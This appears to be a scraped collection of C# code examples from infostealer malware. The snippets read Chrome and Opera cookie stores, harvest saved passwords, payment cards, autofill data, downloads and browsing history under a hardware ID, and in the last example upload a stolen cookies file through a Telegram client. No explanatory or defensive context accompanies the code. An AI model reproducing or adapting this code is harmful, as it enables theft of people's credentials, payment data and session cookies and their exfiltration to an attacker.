Example #1
0
        public static List <Cookie> GetCookies()
        {
            try
            {
                string dataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
                                               "Google\\Chrome\\User Data\\Default\\Cookies");

                return(Chromium.GetCookies(dataPath, BrowserName.Chrome));
            } catch (Exception)
            {
                return(new List <Cookie>());
            }
        }
Example #2
0
        public static List <Cookie> GetCookies()
        {
            try
            {
                string dataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                                               "Opera Software\\Opera Stable\\Cookies");

                return(Chromium.GetCookies(dataPath, BrowserName.Opera));
            }
            catch (Exception)
            {
                return(new List <Cookie>());
            }
        }
Example #3
0
 public static void GetChromium()
 {
     try
     {
         Chromium.Set(Help.HWID);
         Chromium.GetCards(Help.Cards);
         Chromium.GetCookies(Help.Cookies);
         Chromium.GetPasswords(Help.Passwords);
         Chromium.GetAutofills(Help.Autofills);
         Chromium.GetDownloads(Help.Downloads);
         Chromium.GetHistory(Help.History);
         Chromium.GetPasswordsOpera(Help.Passwords);
         Chromium.GetCookiesOpera(Help.Cookies);
     }
     catch
     {
     }
 }
 public static void getCookie()
 {
     Chromium.GetCookies(path);
     Thread.Sleep(1500);
     telegram.UploadFile(path + "\\Cookies.txt", true);
 }